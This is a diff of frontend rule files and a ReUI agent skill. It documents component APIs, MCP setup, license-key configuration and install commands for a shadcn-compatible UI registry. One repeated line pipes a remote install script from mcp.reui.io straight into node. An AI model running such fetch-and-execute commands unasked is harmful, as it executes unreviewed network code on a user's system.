- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||
|
||||
## Fallbacks
|
||||
|
||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||
@@ -72,7 +72,7 @@ apps/web/src/components/ ← shared + domain + layout
|
||||
| Settings | PageShell + Frame + `SettingRow` (или `SettingsShell` при 2+ секциях) | — |
|
||||
| Dashboard KPI | `OpsDashboard` / `KpiStatGrid` | ReUI Frame [stats-12](https://reui.io/preview/base/stats-12) hybrid |
|
||||
| Quick Actions | `QuickActionGrid` (gated `show_quick_actions`) | Frame tiles + Badge «Перейти» |
|
||||
| Empty | `EmptyState` | `Empty` |
|
||||
| Empty | `EmptyState` | `Empty` + `IconStack` ([empty-state-14](https://reui.io/preview/base/empty-state-14)) |
|
||||
| Loading / Error | `QueryState` / kit skeletons | `Skeleton`, `Alert` |
|
||||
| Status | `StatusBadge` | ReUI `Badge` (`success`/`info`/`warning`) |
|
||||
| Create/Edit | `FormSheet` + `*-edit-sheet.tsx` | `Sheet`, `Field` |
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
---
|
||||
description: Только hybrid KPI — KpiStatGrid / row tile DNA (stats-12). Запрет SectionCards и hand-roll.
|
||||
description: Только hybrid KPI — KpiStatGrid / row tile DNA (stats-12 + IconTile). Запрет SectionCards и hand-roll.
|
||||
alwaysApply: true
|
||||
---
|
||||
|
||||
# KPI hybrid — только kit (stats-12 DNA)
|
||||
# KPI hybrid — только kit (stats-12 + IconTile)
|
||||
|
||||
Preview: [stats-12](https://reui.io/preview/base/stats-12). SoT DNA = EvoBGP. Markup в проекте: `apps/web/src/components/reui-kit/kpi-stat-grid.tsx`.
|
||||
Preview: [stats-12](https://reui.io/preview/base/stats-12). Primitive: [icon-tile](https://reui.io/docs/components/base/icon-tile). SoT DNA = EvoBGP. Markup: `apps/web/src/components/reui-kit/kpi-stat-grid.tsx`.
|
||||
|
||||
Связанные: [`reui-mcp.mdc`](reui-mcp.mdc), [`frontend-ui-patterns.mdc`](frontend-ui-patterns.mdc).
|
||||
|
||||
@@ -14,16 +14,17 @@ Preview: [stats-12](https://reui.io/preview/base/stats-12). SoT DNA = EvoBGP. Ma
|
||||
| Зона | Компонент / DNA |
|
||||
|------|-----------------|
|
||||
| KPI-полосы / dashboard metrics | только `reui-kit/KpiStatGrid` (через `OpsDashboard` / `DetailPanel.Metrics` при наличии) |
|
||||
| Markup | horizontal compact hybrid: icon left `Item` `size-10.5` `bg-muted` + `border-background` + shadow + `ItemMedia` + label/Badge + value ± `variant` |
|
||||
| Row icon tiles (data-grid) | та же DNA (`AgentPlatformIcon` и клоны) — semantic `text-*` на `bg-muted` |
|
||||
| Quick Actions | только `reui-kit/QuickActionGrid` (sibling hybrid DNA) |
|
||||
| Markup | horizontal compact hybrid: icon left `IconTile` `variant="elevated"` `className="size-10.5"` + label/Badge + value ± `variant` |
|
||||
| Row icon tiles (data-grid) | та же DNA (`AgentPlatformIcon` и клоны) — semantic `text-*` на IconTile elevated |
|
||||
| Quick Actions | только `reui-kit/QuickActionGrid` (sibling hybrid DNA, IconTile elevated) |
|
||||
|
||||
Импорты UI: `@evofw/ui/components/*`.
|
||||
Импорты UI: `@evofw/ui/components/*`. IconTile: `@/components/reui/icon-tile`.
|
||||
|
||||
## NEVER
|
||||
|
||||
- SectionCards / vertical-only KPI / hand-roll Frame/Card KPI
|
||||
- Другой size / radius / solid brand fill вместо `bg-muted`
|
||||
- `Item` `size-10.5` `bg-muted` hybrid вместо IconTile
|
||||
- Другой size / radius / solid brand fill вместо `elevated`
|
||||
- `card-35` как замена stats-12 hybrid KPI
|
||||
- Копипаст ReUI block в route — adapt через `reui-kit/`
|
||||
- Голый lucide `size-4` в name-cell без hybrid tile
|
||||
- Голый lucide `size-4` в name-cell без IconTile
|
||||
@@ -31,7 +31,7 @@ alwaysApply: true
|
||||
|
||||
**Обязательно** цитировать `previewUrl` + `docsUrl` для каждой UI-зоны.
|
||||
|
||||
**Registry (актуально):** 20 free components — `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree` ([docs](https://reui.io/docs), [MCP](https://reui.io/docs/mcp)). Skill: `.claude/skills/reui` (v `668fb463eb`); обновление: `curl.exe -fsSL https://mcp.reui.io/install | node -` из корня проекта.
|
||||
**Registry (актуально):** 22 free components — `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree` ([docs](https://reui.io/docs), [MCP](https://reui.io/docs/mcp)). Skill: `.agents/skills/reui` (v `d9f4a302f4`); обновление: `curl.exe -fsSL https://mcp.reui.io/install | node -` из корня проекта.
|
||||
|
||||
**Важно:** skill описывает текущий registry (в т.ч. data-grid на TanStack Table v9). Установленный в проекте `@reui/data-grid` может оставаться на v8 до явного CLI upgrade — не ломать kit без миграции.
|
||||
|
||||
@@ -75,9 +75,9 @@ alwaysApply: true
|
||||
|
||||
## Установленные ReUI (apps/web)
|
||||
|
||||
**Components:** `frame`, `data-grid/*`, `filters`, `kanban`, `badge`, `alert`, `autocomplete`, `number-field`, `date-selector`, `color-picker`, `timeline`, `rating`, `phone-input`, `icon-stack`
|
||||
**Components:** `frame`, `data-grid/*`, `filters`, `badge`, `alert`, `autocomplete`, `timeline`, `icon-stack`, `icon-tile`, `sortable`, `stepper`
|
||||
|
||||
**Kit:** `ResourcePage`, `KpiStatGrid`, `QuickActionGrid`, `OpsDashboard`, `DetailPanel`, `SettingsShell`
|
||||
**Kit:** `ResourcePage`, `KpiStatGrid`, `QuickActionGrid`, `OpsDashboard`, `DetailPanel`, `SettingsShell` (только 2+ секции; `/settings` = PageShell + Frame)
|
||||
|
||||
**Blocks (reference):** `stats-12`, `card-35`, `auth-13`, `app-shell-12`, `settings-16`, `settings-8`, `empty-state-12`, `form-7`, `data-grid-filtering-2`, `dashboard-1`, …
|
||||
|
||||
|
||||
+4
-10
@@ -4,22 +4,16 @@ globs: ["**/*.tsx","**/*.ts"]
|
||||
alwaysApply: false
|
||||
---
|
||||
|
||||
---
|
||||
name: reui
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
user-invocable: false
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
---
|
||||
|
||||
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||
|
||||
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||
|
||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||
@@ -64,7 +58,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
||||
|
||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix
|
||||
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||
|
||||
@@ -1,19 +1,20 @@
|
||||
---
|
||||
name: reui
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
user-invocable: false
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
metadata:
|
||||
user-invocable: "false"
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||
|
||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||
|
||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
||||
|
||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
||||
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
## Registry setup (one-time, per project)
|
||||
|
||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
|
||||
```json
|
||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
||||
}
|
||||
```
|
||||
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
||||
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||
|
||||
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||
|
||||
## Installing
|
||||
|
||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
||||
|
||||
## Free vs premium boundary
|
||||
|
||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||
@@ -1,8 +1,8 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
## data-grid (the flagship - read its API every time)
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
||||
|
||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||
|
||||
## code-block
|
||||
|
||||
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<CodeBlock code={code} language="tsx" />
|
||||
|
||||
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||
<CodeBlockHeader>
|
||||
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||
<CodeBlockLanguage />
|
||||
<CodeBlockCopyButton className="ml-auto" />
|
||||
</CodeBlockHeader>
|
||||
<CodeBlockExpandButton />
|
||||
</CodeBlock>
|
||||
```
|
||||
|
||||
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||
|
||||
## alert
|
||||
|
||||
**Required:** `Alert` > `AlertTitle`
|
||||
|
||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||
```
|
||||
|
||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
|
||||
Finding icons:
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||
|
||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||
|
||||
## The @reui registry
|
||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
||||
|
||||
## Free vs premium
|
||||
|
||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
||||
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||
|
||||
## Component API index
|
||||
|
||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
||||
|
||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||
|
||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
|
||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||
|
||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||
|
||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
||||
|
||||
